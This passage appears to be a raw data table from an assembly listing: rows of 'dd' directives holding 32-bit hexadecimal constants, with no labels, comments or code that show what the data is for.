dd 0C01E0D48h, 858E2643h, 0B1021B5Fh, 0DAD198Ch, 0EB82A0DDh
dd 7C77996h, 0DF9BF7A6h, 64FD0041h, 2C00D84Fh, 479FE06Dh
dd 5A85298Eh, 4842FB95h, 110AFB36h, 9D091010h, 0E9024059h
dd 50174B60h, 14F1BF0Fh, 1D85C75Fh, 0F54C0128h, 0F78B22C2h
dd 47D59F5h, 102B61B5h, 0B7229C1Dh, 0D60074h, 135C2CB9h
dd 2E519D8Dh, 2FFA075Bh, 5142357h, 14E85205h, 5707F50Ah
dd 30701B40h, 7E4537Ah, 0F7BDD400h, 425D04D8h, 0BEC05AC4h
dd 0FE9CB740h, 714FBD1Ch, 23811E5Fh, 3C7379FFh, 18209529h
dd 0DB8C6616h, 8875CBAFh, 89A1C014h, 0C67359Dh, 495F64Ah
dd 5D62D80Bh, 18648B47h, 8C353660h, 0BFE07701h, 46568006h
dd 1F496D4h, 95FF6E85h, 0FA0729EDh, 33925BB5h, 0F18E041Ch
dd 89FAA050h, 520F2404h, 0B04FE8Fh, 971FDDBDh, 0B0614C34h
dd 13286EDEh, 5BC8AA00h, 5F4DE441h, 0EF705BE6h, 3103716Bh
dd 7A67A03Dh, 29133C80h, 19E1D0A0h, 25D88981h, 0E40CC521h
dd 35B6AE71h, 17526CB0h, 0C7B63D00h, 8D898B9Dh, 560D67FDh
dd 3FD8B70Fh, 180333Bh, 2C657195h, 7816BA1Eh, 0C0F39AEAh
dd 0B31F8315h, 7640121Ch, 8BD64F45h, 5C004B2h, 0E8C1040Bh
dd 37CA1E87h, 0DD54FF3Ah, 0F73166F4h, 222D12E2h, 0E1853100h
dd 2B0C0F62h, 0E059D7D8h, 9B50306h, 81660259h, 937C56EEh
dd 0EC9E7AD7h, 37960F31h, 0E28011D5h, 0CD1C2EACh, 9A23B503h
dd 0F9A17998h, 13205350h, 0FF933F5Eh, 5420D51Ah, 42694185h
dd 498D019Eh, 0C2B04969h, 0D9070342h, 844CE819h, 67C400DFh
dd 830F613Ch, 7AE101F6h, 0BBCBBA9h, 4C16DB73h, 90BF75AAh
dd 8C175B7Ch, 2C8AD900h, 1CFBE3C7h, 8B661508h, 1E56F2F3h
dd 395FA1F0h, 2D05F573h, 0BAF9CA08h, 2E65D361h, 16F06507h
dd 0C29ABAECh, 3650CDC0h, 0E83060ADh, 79451B0Ch, 786D0B54h
dd 0E87FD097h, 676160A9h, 50FBDA58h, 2F55BD23h, 60872491h
dd 24298D31h, 2094611Fh, 27C1E89Bh, 21EF949Ah, 91BDC833h
dd 58560165h, 1723DF3Ah, 0F6348000h, 248D09D7h, 626119CDh
dd 0DF2EEA88h, 0B7F82BA8h, 7B9F718h, 0E0C18311h, 0A9F000BEh
dd 0D93B4EA5h, 0CC5A860Fh, 23813BEEh, 4F830F1Dh, 0CFB739A3h
dd 0A1A4F6B8h, 0F0EFC58h, 29F28BD9h, 70EEA4C1h, 0B09E946h
dd 9C219E00h, 78D7A199h, 0D2C24D01h, 895BF880h, 30655D85h
dd 0A4AEC3EDh, 0C70EFCE0h, 54F633h, 8BAAA216h, 5FB70149h
dd 343D587Fh, 86835108h, 5535AF33h, 0C250A699h, 0C560A64Fh
dd 526D5FAh, 0FF178A7h, 6B16CD80h, 1B846E9h, 5DD7AC0Ch
dd 0F1E5AAE3h, 968D1C05h, 789AFED8h, 1F18AC0h, 0FE2E3739h
dd 19095705h, 0E585AF26h, 74C71FCFh, 207FAD28h, 1AAA4BA7h
dd 0DA2F038Ah, 5DE39123h, 6BEEDA5Bh, 60050189h, 0FE6E1634h
dd 3730EC4h, 1E24C681h, 0BDB22768h, 0D0739264h, 0C23CBFB9h
dd 0A75B509h, 1694A2AFh, 0F3000753h, 0DD3B2E6h, 3A001628h
dd 0CABB3872h, 9B8E909Dh, 0BF6602C2h, 0C66CCD9Fh, 18D15099h
dd 0D5FEA118h, 0D4C71026h, 478F702h, 0BBD3DF90h, 0C827158h
dd 0A5FED7F7h, 0F41A1EEh, 400D9360h, 0BDFA6003h, 0DDB5956Eh
dd 62B287Fh, 4C22E920h, 1BE85761h, 57F3008Ch, 0CD7B983Ch
dd 0F99BBD2Ah, 4CCB878h, 8FF90F93h, 0F85C82BCh, 1325E240h
dd 4B0BC5D2h, 557503C7h, 9B34830h, 8B586DC0h, 8500D627h
dd 1C6ED0Bh, 8202E1B5h, 2A005966h, 62B17468h, 14325BC3h
dd 9D9F8908h, 0AE2E5D17h, 0F27968Ch, 1164CF02h, 0B7C0C120h
dd 346E241Ch, 6D2E1A99h, 41B0E03Dh, 0BB982173h, 0A1510844h
dd 0DA5001D3h, 3804E95Eh, 0FADAFFF9h, 1D23032Eh, 22B71600h
dd 2FFF2h, 8AFB2137h, 1B89BD33h, 8D121192h, 6E232C6Dh
dd 4EBB84Fh, 12AFF8DFh, 80E1E964h, 0A9BCCECh, 0A2CE7500h
dd 99C76E03h, 0C26901FEh, 0BE65FA93h, 0CA08808Bh, 31C4F7B2h
dd 0C8F5009Ch, 0BFF1982Dh, 0E8008F24h, 0BB881DB8h, 7EEE5F4Dh
dd 394303EDh, 0FC2C5022h, 84344E00h, 0A3F22596h, 9D700049h
dd 0E67FB2B3h, 771EA750h, 840039E0h, 8A942E9h, 0AC470079h
dd 0E414BBC2h, 2300AA51h
dd 26AD54F3h, 0B45BFAh, 0C168FB2Dh, 0C86F0E3Ah, 0D05E1700h
dd 2BF58854h, 30CD7DFDh, 86ACFBA4h, 0FC0F03EDh, 40902355h
dd 35C72254h, 0CE99007Ah, 0F89F401Ah, 0A9004471h, 0AE497B02h
dd 508007h, 0B74A0EB5h, 0F13AAD69h, 0C7F92700h, 0C0F0972Ch
dd 0E68F0025h, 64901FB6h, 399022C9h, 4FF8860Eh, 0F9C8921h
dd 10F43A20h, 5C156185h, 0BF007427h, 35D0FE8Dh, 2438DD8Eh
dd 0D62F801Ah, 0C44F8648h, 791900AEh, 1D07A2D0h, 2927229h
dd 0F6268D50h, 6FA98B54h, 0C6081606h, 4C38C00Fh, 0F580DACDh
dd 5413F472h, 76BC3E03h, 802CC08Ch, 3F26CF65h, 180097F6h
dd 36FDB33h, 5F0E7862h, 80FA28D1h, 0AD487475h, 867F5006h
dd 816F0C1Fh, 5B742C10h, 34A59318h, 0AC7F0Fh, 4408210Bh
dd 8DB967B1h, 0B35CF200h, 0F7FEE887h, 6EA00049h, 73A52CD3h
dd 0D6003FE0h, 0EC5F6CEFh, 503A6Dh, 0F3881F4Fh, 7AF92C81h
dd 8AF4E00h, 0A027CE6Fh, 32D93F74h, 0D07EC803h, 0C1E8049Dh
dd 5F008F3Eh, 6109B50Fh, 0AA3D2h, 0DFE0CA63h, 0EA7118AFh
dd 7A21BC00h, 0A92FF9DCh, 25317D3Ch, 52A69E19h, 27A07002h
dd 58028A33h, 937D16BDh, 5EEBA392h, 0A0D3C0CBh, 0EC6F0305h
dd 3419BA39h, 0BE41E9B2h, 0D5814071h, 77016102h, 696C970h
dd 1B82A718h, 0D77E1FF2h, 0E8E98190h, 7920B900h, 0A82EF8DBh
dd 943F603Dh, 15B0E28Bh, 0EBD56E06h, 0A387F7h, 0B243761Fh
dd 0B3E3720Bh, 0D46D1406h, 0BA1EEAh, 1CEE3CA0h, 3EDF4C37h
dd 0DE109701h, 0E7159C43h, 121EA5E8h, 0AC53F2h, 1FB85FC1h
dd 0A2006CA7h, 0DD71699Ah, 3F0CAB82h, 6E01F36Bh, 5FF48DC0h
dd 0BE1524EDh, 92803009h, 6C372021h, 3069AF99h, 3F10F1FBh
dd 0D218790Ch, 26E8194Bh, 0A63F86Dh, 0F6EF7278h, 9DC31FAAh
dd 94354023h, 1738F72Bh, 44D22D00h, 98FD2AD3h, 7E7BB0A3h
dd 70B55069h, 29442891h, 40964F8Dh, 0FE2CFAC2h, 3500BC63h
dd 60CB7205h, 1F180917h, 80A5406Fh, 4C7A7B65h, 53001CB1h
dd 4F3DD3CBh, 12A309D5h, 412FF047h, 0E18829A0h, 44B5EC53h
dd 439CD916h, 0D1D25200h, 7006A1h, 0C3EAE3EDh, 0C1AB7F63h
dd 8013BA3Ch, 66D19D44h, 439BFDh, 8AB482BDh, 49FCD5Ah
dd 1D186374h, 921BE2Fh, 454C0036h, 30D76E9Eh, 0DE0F79A9h
dd 0E1CD8637h, 7D12A5D5h, 0CE10C725h, 6C3FB6h, 9CE772AFh
dd 197C59B2h, 925EF4F7h, 25C284A8h, 16877515h, 8E6100CAh
dd 1F981A4h, 4050DD6Bh, 0C79A47A2h, 0E9589220h, 0DC750672h
dd 3F81B4Dh, 2D5D5E48h, 2EA8059Ah, 4328B4A2h, 8E0083E9h
dd 0E34652BBh, 601E7AB2h, 0A7D724A6h, 0BC302D1Bh, 3407268Eh
dd 0FCFD4D93h, 3B418D3Dh, 0ADDC6581h, 0F1DFE340h, 0CB31C180h
dd 603769F8h, 0D6A06E22h, 4EF446D9h, 0E2832201h, 78A67029h
dd 183A30h, 0F48FC16Ah, 71CAB44Dh, 82246428h, 407B7638h
dd 830A02DAh, 0EA0BF98Fh, 0DE8784A0h, 9CB04EAFh, 0D11FA406h
dd 1256F7h, 0FF63CF03h, 4EE8F34h, 436F0A00h, 0D42223F6h
dd 0A44B01ECh, 7786616h, 8E4CBC42h, 0E0DB821Dh, 0B7FDE7BAh
dd 6A1BC046h, 0F19A8F99h, 402AC500h, 85B4961Dh, 84454CECh
dd 9ECC7501h, 80AF200Eh, 8627FA33h, 7CDD46DFh, 6FD40072h
dd 0B5BDA713h, 0FC1D8205h, 3EC75C4Ch, 94A2FBE5h, 6CAE483Bh
dd 963630D7h, 820AACF5h, 909C48h, 5DF3942Dh, 50EB86B4h
dd 50998401h, 1FE4FCEEh, 8355F023h, 0F806E1Eh, 53C200E5h
dd 4AE38A25h, 5EFC200h, 0A23565ECh, 36662C0Dh, 742C0C84h
dd 88991B2Dh, 0AE78D305h, 40208992h, 0E94CBEBh, 7CA192ABh
dd 0FAE76F60h, 80FB9B0Ch, 0FB8A053Ah, 19709FCh, 55F6C951h
dd 0C3B1D1BFh, 855841C8h, 2757DE00h, 34D570A2h, 2C22008Dh
dd 0DD6E6DA9h, 4E005CC4h, 0EF3F0964h, 0D96F67h, 8C26CBEBh
dd 0BCAA723Bh, 86064B77h, 299A8837h, 0A174010Dh, 10A54619h
dd 8391279Eh, 95CCDBBh, 45D4A71Bh, 543E5EA0h, 0EEE85E4Ch
dd 0E5479E00h, 0C061F424h, 5381002Ah, 8E7811B8h, 0BE38EE75h
dd 0FFA9825Fh, 60F9562Dh, 0EC1C73h, 0B8E6B259h, 3F2533CBh
dd 0AD62AC00h, 912454FDh, 4C7DBDh, 0D697E0F3h, 0CE670EA7h
dd 42432D02h, 64DE7312h, 5E27C1B7h, 80CAFF70h, 0EF774A0Ch
dd 6098861Ch, 9F722127h, 8400B4B5h, 94C34AF1h, 48BA63F9h
dd 0E8000A8Ah, 2304877Dh, 38E4FDCBh, 8FF89100h, 3642571Ch
dd 0C0A20048h, 0C5AF5035h, 727CDC6Ah, 2386B507h, 0CA20D62Bh
dd 17A34426h, 0C263FCh, 29BF56A7h, 0B3024E80h, 7089730Ch
dd 28CDAEFh, 90405E65h, 0B0A331A2h, 4DC8A97Ch, 0EB00CD7Fh
dd 9D6953D7h, 2C6AFB2Ch, 0E51F3CC3h, 0E3148050h, 9800295Ch
dd 9E376AF1h, 264170F7h, 0A8ED01A8h, 0C75750FDh, 89520367h
dd 4C281E2h, 0EA508576h, 14168706h, 0CDC05C24h, 8343D968h
dd 10110CC3h, 3C3C560Dh, 67BA5200h, 0B91AC911h, 41F2F914h
dd 8BD118A4h, 0A1C48148h, 3CE9542Dh, 48510A4Ch, 64040C56h
dd 0B0313493h, 8F075E16h, 77810847h, 46240F3Ah, 836CF73Fh
dd 0A4590F40h, 4FE90F27h, 9DC9FC73h, 90BE6100h, 42135039h
dd 0AE00CB79h, 0B09C3B8h, 0C5030006h, 0D6A3E0FFh, 99037DDAh
dd 0DE3E18DBh, 0B47A9BAh, 229DDCh, 2395D6ACh, 1F629C21h
dd 3A009EE4h, 0B94C5351h, 0FEAC27h, 14A96D1Bh, 0AB3F5E74h
dd 0D48E501h, 5C1CB89Bh, 13B0C8h, 10E72FE2h, 64CA900Fh
dd 0D4787E00h, 552CDF6Ch, 7C0A0002h, 34232E16h, 0C1002639h
dd 0AD6C1403h, 74D2871h, 0CC3B04EBh, 0B5E9421Fh, 83004958h
dd 771EB352h, 17AC4Bh, 12A74270h, 0CA13C6Bh, 9F326513h
dd 9C57DE01h, 7471D869h, 1241D6DCh, 0CD689Ah, 31C66171h
dd 800F664h, 4398E897h, 0F9CBE2h, 58A1FC2Ch, 0C52402BFh
dd 1D01FC9Ah, 14C257EAh, 0A8233E6Bh, 4B905B25h, 4F00EE1Ah
dd 0C250FA8h, 0C25585h, 0B2E48D1Bh, 2A9B891Fh, 278B348h
dd 0B7B8A275h, 8108C08Bh, 0F62000EEh, 0F0992FC6h, 805827C2h
dd 4F027A28h, 4EF58A1Dh, 5B62401Ch, 0DA8F482Eh, 35EA3400h
dd 76E7D585h, 0EEC159C1h, 0F80A91Ah, 363721F4h, 0DC5D7104h
dd 2C187486h, 1823CD3Eh, 0F1621850h, 693C0EB2h, 0C5DEC806h
dd 238BF9h, 96C46D73h, 0A445E00Dh, 0D15FBA00h, 0AEFEC60Fh
dd 61142419h, 0CF789245h, 67170E3Bh, 53159879h, 0C3F10080h
dd 0FEE88128h, 4A9630A5h, 8001AA08h, 4F7C250Eh, 76000FB6h
dd 0C05F8B8Ch, 0B8669219h, 6A990957h, 0AB6039CFh, 3F4CC6DFh
dd 45CC008Dh, 2ED57C17h, 53D3005Dh, 0FC2AF487h, 180047D0h
dd 0FC6147Dh, 3E7B0AA6h, 29016506h, 57C95EF9h, 1971D62Ch
dd 0AD56D900h, 3006F445h, 0E0BC3495h, 971EA40Dh, 7C807FB3h
dd 130412CBh, 2B740090h, 19DCA1D4h, 0C1005C8Ah, 4AA3D6D7h
dd 188D244Eh, 44E12E9Fh, 3D00A679h, 63045DDAh, 1EF727CEh
dd 47CA60h, 0D6B88AB9h, 9528AE98h, 9E02BA0Eh, 0AB52E517h
dd 0CCE5024h, 0A6CB3C2Ah, 4300164Eh, 0C747D18Ah, 2F03E21h
dd 0AF09F7EEh, 8D54E519h, 75394996h, 0F2E070D4h, 0CC17CB81h
dd 0B15105h, 0F6BA6198h, 6B0FD563h, 21089D38h, 5EEC932Eh
dd 0A4EC7871h, 0A635867h, 0FC95C400h, 4AD4B755h, 0DA618414h
dd 8D673CE8h, 5EDC58C9h, 0DBE4D0C9h, 536B07DDh, 66D1BB8Dh
dd 4153A340h, 6D0801BFh, 0D1B56C6h, 48C05274h, 4926094Eh
dd 4FB000E8h, 407B79Dh
dd 77CB2F60h, 306531D8h, 0DF6E80F7h, 0F6B8B886h, 731AAB05h
dd 0B0C5BAECh, 58923E82h, 14822F0h, 0A225AC02h, 0E03C341Ch
dd 0FF68D6h, 0EA8DFA09h, 696A5489h, 0F9A03B16h, 0C0AE7E00h
dd 5A2FF4Fh, 26C79A49h, 15A45890h, 4C0E31CCh, 0FC82AE66h
dd 9F0AC6F0h, 57C80056h, 39F599D4h, 0B900CC79h, 17A0CECFh
dd 0B02B5DEAh, 0B7580967h, 58807710h, 62F8F078h, 0CFFA7417h
dd 4215DB00h, 0FECC29ACh, 0F37E7Eh, 6DE4B21Bh, 81FF5944h
dd 0F703977Ch, 781542C7h, 1194A1D7h, 0D4C0B4FDh, 0A3D00239h
dd 20210B85h, 3CBFAE80h, 340AE601h, 9153D546h, 0E44D813Eh
dd 6CFE754Eh, 60ECC8h, 7D6708EAh, 5A2D9864h, 498428C0h
dd 0F52151FFh, 0C26AD30h, 0A957EC8Dh, 4E004F6Dh, 59E0871Eh
dd 0F88E29h, 6F8DFF75h, 56EA0C0h, 264E2400h, 2F19B6FDh
dd 86655C16h, 5C0EAE49h, 0B58B785Dh, 408B4205h, 820AC6D7h
dd 4405F48Ah, 4DCFCDC1h, 99FFF00h, 90B1AA1Bh, 22F50200h
dd 0B944F238h, 3C0F9C80h, 5E070795h, 9490CD30h, 2E5802E0h
dd 0A2A3018Dh, 973ED372h, 81093167h, 75A52C11h, 0A0283BE2h
dd 1CAB4400h, 81C98EEFh, 970EAD2Eh, 2CF09701h, 0D6C48F99h
dd 2513001Dh, 1FCD62F5h, 0AE134776h, 36D06E07h, 295EED8h
dd 1FB64240h, 41487A9Ah, 0EB0019C2h, 0A710A950h, 43B260Bh
dd 0BEA86A66h, 8063B2F2h, 0A92CC295h, 7D7705CDh, 1E7A1FBEh
dd 0CAE38136h, 82998DFEh, 8A33B12Ch, 8247C05Bh, 0F33D0198h
dd 0C5B39C23h, 9F258254h, 40952BCCh, 7E015F94h, 82070093h
dd 0BCC4AE4Fh, 0F748ADCEh, 8558016Fh, 0E0513FEFh, 852B139Eh
dd 58B9676Eh, 2DF517C1h, 0FCE3F35h, 0C0BBBAC0h, 36F3CAA7h
dd 0C04B44E4h, 9D8B93CDh, 4F022B4Bh, 0C090BF68h, 29CBB57Ch
dd 8009FED1h, 5CFB2BB2h, 6D0416C6h, 60D1A540h, 0A1AB4BB0h
dd 10ECE7B3h, 2CE1875h, 9F11B4Ah, 8D188601h, 0EAF82A78h
dd 9BA5C0h, 82227DADh, 5FB8C61Eh, 0AAC1800h, 0B2716A9Ch
dd 0DB700011h, 0FC928A12h, 5E592979h, 562B340Bh, 1E00BD7h
dd 98A08Ah, 97849DAAh, 6E15E841h, 58B7E700h, 0DF409488h
dd 17671EF4h, 0A3C580D4h, 8AF50F1h, 0FEA79D00h, 0FA933ACBh
dd 6BB50510h, 801B139Bh, 0C2C952F1h, 0C8662D00h, 5360A690h
dd 3B8C02BAh, 0C436CB9Eh, 0F906A690h, 4700F77Bh, 3CCA7144h
dd 5DC86793h, 2C007E21h, 88114142h, 302CBF5Ah, 3300FA04h
dd 22C95C8Ch, 0EB7C94h, 0F6E07920h, 0A4BBF7B0h, 14E453Ah
dd 0F493C36Dh, 8822B55Eh, 0CBAC100h, 0AFD6E5Ch, 48418400h
dd 5A8A8B75h, 8D1400BBh, 0B11CC35Eh, 7050DE68h, 690510D5h
dd 76F79E39h, 2C306CE5h, 5DF9947Ch, 16DB6806h, 34891C5Ah
dd 81E6C424h, 839CA4C6h, 8760EE76h, 89535C1Ch, 0C3812AE3h
dd 1CEB4010h, 13454783h, 0D458376h, 50088016h, 0B0AA9B8h
dd 3FC6F206h, 0ECA048Bh, 1CEA54E4h, 53510007h, 595ED568h
dd 0F75B1A00h, 89E381DBh, 3A093B3Eh, 32FCB03h, 0F3E01508h
dd 35EC2327h, 5BD9890Eh, 314D7D01h, 75285559h, 0C4A83A3h
dd 22827252h, 6D2D385Eh, 0F87980h, 897E0B5h, 0FBCB8F4h
dd 36601D96h, 0F87C4FBAh, 19551CA7h, 5CA3C0B8h, 1B986607h
dd 6FC62804h, 8680B04Bh, 39773E25h, 31000F02h, 0BF40063Dh
dd 5C007824h, 0E753FBA5h, 367DB2Ah, 467E29A7h, 51E82DE3h
dd 6E26191Bh, 1C00FD07h, 8799A131h, 0A7DB000Ah, 0D33916C5h
dd 790075F6h, 0D029E53Dh, 0F250F7D4h, 3B8E00DCh, 46E9176Fh
dd 221D1234h, 0F1034740h, 91C18B76h, 102FD9B5h, 31DCDF98h
dd 299118h, 0BFF99589h, 0B18CF75Ch, 20BD1918h, 50272D35h
dd 167F6460h, 90AA7D8h, 24C061C6h, 0F85E8B66h, 0BFDF00AAh
dd 7908C787h, 1B8C0F28h, 0E7816606h, 1066F8A8h, 760B1287h
dd 60800EF0h, 0C1BF000Fh, 83615B53h, 76BD05C0h, 0A02DD681h
dd 0A0F537h, 0F72F5DEBh, 29EC5A00h, 7F2AB72Eh, 587007Dh
dd 5EC8F031h, 54BF5090h, 0AEFB800Ah, 646E9C20h, 0C38A861Ch
dd 66525040h, 3A71ADBFh, 0A481310Fh, 5A227020h, 7F42AF58h
dd 7F809D35h, 8917CE74h, 85013DBCh, 0B94A07A5h, 49DAF5h
dd 0DD275809h, 8B90C004h, 0D3E35F00h, 0F22F124Ch, 5B55F44Ah
dd 3E2FFA6Ah, 3E011523h, 3D95FF8Fh, 0A96F0425h, 0EDCACC8h
dd 98A1E04Fh, 5FFA8BE0h, 0D52F9D8Dh, 619D5D93h, 828E1D11h
dd 7D845680h, 0B104668Eh, 0D3FF90DCh, 17BCB3B8h, 84CC098Ch
dd 6E023C83h, 0FF011FD1h, 103A5985h, 15B82B72h, 2B6E3E8Ch
dd 116BC78Eh, 61DD5DABh, 162B02F0h, 0F9D8FFDBh, 957E9091h
dd 1C11AB9Dh, 63F43980h, 0ED093B20h, 0E745EF6h, 58CFC94Bh
dd 30C40EFh, 811BD1Ah, 701F5C0Ch, 14FD986h, 14C8C7CEh
dd 0BD2BA9C0h, 3D069785h, 71207E56h, 705E5C04h, 0E14F11Ah
dd 589853F7h, 8AE4A64Fh, 6F7B4214h, 50D44FD9h, 0BD0D19C7h
dd 80F076B8h, 5897DB0Bh, 0FE49D6D3h, 96C1929Ah, 0EC0D2AFDh
dd 0BD260BA6h, 8B9D4FC5h, 522B098Bh, 10D110A4h, 456D8D0Bh
dd 0ACB3ED7Ah, 139A70FBh, 0E0921F1Ch, 5BEABEE3h, 0E961A409h
dd 0D840DBB3h, 0A439CA70h, 75E78EC5h, 0D13E096Ch, 57E8000Ch
dd 42A8C7DBh, 9016100h, 5075C324h, 0F42D620Eh, 0C702327Dh
dd 6F011185h, 2FE90AEDh, 0F8579609h, 0E914403Bh, 5EBF4070h
dd 8F62DEC8h, 140DF5ACh, 0B4FB15E1h, 1E015A24h, 542A4D9h
dd 55DCFE8Eh, 0AC131311h, 5D5A1469h, 0C24554D9h, 2522A944h
dd 0F9929F0Eh, 58FDD3DFh, 0AD00A26Bh, 3ECE3D1Fh, 880CE990h
dd 4B00EC5Ch, 58DBBA33h, 485079B9h, 83280C02h, 2D0AB566h
dd 1B467470h, 19485107h, 0CEDDF00Bh, 291E601Eh, 0F3B01DBDh
dd 0B5F561FAh, 10553991h, 17E1CF81h, 48324521h, 6C27021Ah
dd 88505B49h, 4500CB51h, 0F5637705h, 948FC1h, 961A2E02h
dd 0B80B6ACAh, 5A87EC17h, 0B8672250h, 0EE038C1Dh, 63E2A867h
dd 58E38876h, 4A6A1B1h, 39B0C727h, 0A32EBA6Bh, 0ED24F667h
dd 82E32F09h, 51B8D77h, 0F668D0B0h, 0E624CF14h, 0DECE70h
dd 0BBF630B2h, 9BCEB098h, 58852430h, 278A33DEh, 94CD71E4h
dd 2A278FC0h, 84FC5ACFh, 88C18E4Fh, 1E61C215h, 0B16B9D4h
dd 0DB5858B6h, 12231110h, 0DA3AC38Bh, 0B1041623h, 3C12874h
dd 256A0381h, 21B6FB32h, 0C50D9EB0h, 17589900h, 0F9BE6663h
dd 0C1C0C504h, 0C276AC03h, 0E3D82BF3h, 504BECB6h, 0ABAC48F5h
dd 966602EDh, 0F3D5898Eh, 0B4052451h, 0A800A48Dh, 3EA6CCFDh
dd 9C770038h, 829ED717h, 5F6950AEh, 768C4202h, 0FDE66CABh
dd 0F8011840h, 0DD085A95h, 0EFE43079h, 5EB0BD2Ch, 1A4676h
dd 576B54CFh, 0C4DD47C4h, 14312974h, 0E8385852h, 45008C17h
dd 9EE47BFh, 9F138185h, 0B3CF1E30h, 3F3CCC00h, 7E56FFA6h
dd 0A2F82440h, 78BF2B5Eh, 0C804E9D4h, 29457B50h, 0A49683F8h
dd 2411EF1h, 85296D50h, 0FA97D039h, 342C7B12h, 0C0919B54h
dd 924C5302h, 2801091Eh, 0E10E9BAh, 4F78DB5Fh, 9A00E17Ch
dd 1CE6813Fh, 0B701255Ah, 859DBC01h, 0F8660C03h, 0F2BE04F7h
dd 95590C53h, 23713A42h, 0D7AB0017h, 0B70FCED2h, 4F62F248h
dd 1980CDDBh, 0E1783763h, 5B52EB8h, 95ADF8F7h, 50016E10h
dd 5E1DDF2h, 229592A8h, 8E14C9BCh, 3CD140FAh, 0B5C55A4Ah
dd 0B0FDF6FAh, 1467D870h, 0B80B38E2h, 5A333D10h, 4C0ED793h
dd 49106BC1h, 0B7855A12h
dd 0B0F8A6EAh, 13EF1784h, 0AB396437h, 0BD899702h, 0D41D6A61h
dd 56B844DFh, 3942A3F7h, 343114A2h, 0AFD6289h, 9500EAFBh
dd 6A37F501h, 0CC730256h, 5B52867Ch, 1B442747h, 331D1660h
dd 0FD01E1FAh, 0B529645Bh, 57322135h, 0F0B6110h, 0CB03C32Bh
dd 5B7E2B59h, 0D9C53B1Dh, 6BB2289h, 19B98D09h, 174669BFh
dd 4BE65B7h, 8B5578CBh, 40CC4E84h, 1FD12295h, 6CC8C05Bh
dd 9EF8003Ch, 0ADF3B73Dh, 5D026186h, 0B589D99Dh, 5F0749E1h
dd 0AB19576Eh, 7569FC92h, 44AF3960h, 0B4F2D1Dh, 84BCC241h
dd 10C8FA73h, 6DBD128Bh, 0ED30952Eh, 4EA7B41h, 459B715Fh
dd 26C0B98Dh, 330AF095h, 7B88094Bh, 0E948E85Dh, 197912FEh
dd 0C51F050Eh, 0A79F0013h, 251A332Bh, 0A5885699h, 645E9885h
dd 284EA19Dh, 70851568h, 6EF4823Fh, 34E70B16h, 46E4Ah
dd 0EF22B68h, 0C702820Fh, 22FE8B1Bh, 84E160F9h, 0D769F9C1h
dd 6661DAD9h, 9DF92CA8h, 0C8560FC9h, 81900013h, 0A9CBF4E7h
dd 259B715Eh, 0AFCD3E81h, 0C7006B14h, 0A9CA81C0h, 13D7793Bh
dd 82D19D8Bh, 30976104h, 2931811h, 3A0F7EF5h, 54FAF5h
dd 116F1832h, 8833065h, 0CCB77000h, 773C44E0h, 0D1979990h
dd 27C61816h, 0C1378928h, 4FC60B01h, 7221F6AAh, 0F2247Ah
dd 809CF2CDh, 52006BD1h, 616EE34Ch, 5ADD35h, 37422E3Ah
dd 11C9BD03h, 0D44039Ah, 24AF00DDh, 6539EF19h, 170970A8h
dd 6D8C3C4Bh, 0C997C000h, 6801D494h, 0F2516B8Eh, 0D351F5CCh
dd 31021F01h, 126DD41h, 31448C0Fh, 680D4E1h, 28E961DEh
dd 7FE3FFF7h, 0B300366Eh, 86EB1F2Bh, 0F726C487h, 0F90819D9h
dd 0C12D3B04h, 7C0266B7h, 250EE877h, 9388C0A7h, 7426F613h
dd 5E03F2F7h, 37408742h, 0ABF5ED70h, 605CF866h, 1DF937DFh
dd 10919561h, 0B97F6125h, 997AC29h, 0DCD765FEh, 44D2882h
dd 0D7AF20F3h, 139232B5h, 90FEB905h, 1B73F4EBh, 0AD042800h
dd 0F195C641h, 0E6C105BAh, 0C053A420h, 5FA69B29h, 0BF3950E2h
dd 6B7F05C7h, 9A27E990h, 0A5037A60h, 0FD7800A3h, 0F2E4E02Ch
dd 0B16B9161h, 0A95D636Eh, 33921F8Eh, 457620E8h, 3D79A94Ah
dd 0AF701000h, 0F2A8D791h, 0BCDC0F7Dh, 2CA8B1Eh, 9DD08BDh
dd 0FBB74FB1h, 1DBB8840h, 6E7BF90Bh, 7FF2004Fh, 0B9FF475h
dd 206590DFh, 90B60585h, 692A28F6h, 329520DCh, 0C23E504Eh
dd 0B2061623h, 2F50FC67h, 3DDF12C5h, 0B81480AFh, 0FE0CD82Fh
dd 0F7AF2ABEh, 53D99212h, 0F41BBA2h, 1CAC356Dh, 9E26008Ch
dd 683F5E83h, 0E906A133h, 7F1BD01h, 69D34979h, 409A23BCh
dd 0BC3779E1h, 0CD3E8C17h, 2212AC86h, 0E9019901h, 3478089Dh
dd 3D4AC5B2h, 0BA704CF3h, 1AE70A99h, 0BB5E225h, 27CD04CDh
dd 2C62D791h, 4090B5Dh, 2AA1A9C3h, 0CB81D29h, 2ED7E700h
dd 0C6372CBEh, 6BFFB664h, 27C0F14Dh, 2FFDB280h, 1A25432Eh
dd 0B069B7E0h, 4C6A1847h, 92547B1h, 63802E79h, 57ED02CDh
dd 432C0346h, 44D0624Ch, 507439B0h, 0E7C47700h, 0F3EE81DFh
dd 0DD80BE5h, 9E05835Fh, 2130E21Bh, 2953FA34h, 6580F896h
dd 5FE90238h, 0F360AEA8h, 98D4B56h, 0B9EDE4E1h, 4120F85Eh
dd 0DBF3014Ah, 63016E2h, 700B92A6h, 68E980B1h, 0F4B87CBFh
dd 0D7C45126h, 290B0611h, 35A8659Dh, 0FC104E5Ch, 352E8C15h
dd 73607A3Dh, 0CB7564h, 45A1B72Bh, 404A42B3h, 75B4D42Fh
dd 430AD629h, 0D66E4878h, 17238C48h, 329DFB8Bh, 1D88E14Bh
dd 7BD130C0h, 25DC0014h, 0AF18534h, 0B6948A0Fh, 25E1FB45h
dd 898EA028h, 86D859A0h, 0FB7E80A6h, 494FBB17h, 8CE3CCBAh
dd 255F5E84h, 4A1DA815h, 16C0429Bh, 51B58B67h, 2C74075Eh
dd 9D0182B2h, 0F9C85894h, 0D877D522h, 50713CD5h, 310F5207h
dd 0B3D0BE57h, 4C5E05F1h, 6D4C065Ah, 0D32FF5Fh, 357DC4B5h
dd 0FDA9E6E9h, 460B872h, 30190FB3h, 0AEA08429h, 0B0DA5827h
dd 0C9958905h, 0F4FB2FBh, 0C270E6F3h, 0F771E4FAh, 815B845Bh
dd 89C460A5h, 0BA64E585h, 0F10C03B9h, 16114B6h, 9EAE25E2h
dd 0C19584F6h, 6D236DD0h, 590192E5h, 0C38BC8A7h, 0CBB8C129h
dd 96AA6F00h, 1A085D9Ah, 8BF31660h, 0FEE6C5F0h, 4DB0D8E6h
dd 900442F1h, 12E9EE9Dh, 2E551FC1h, 6F96E36Ch, 0F203127Ch
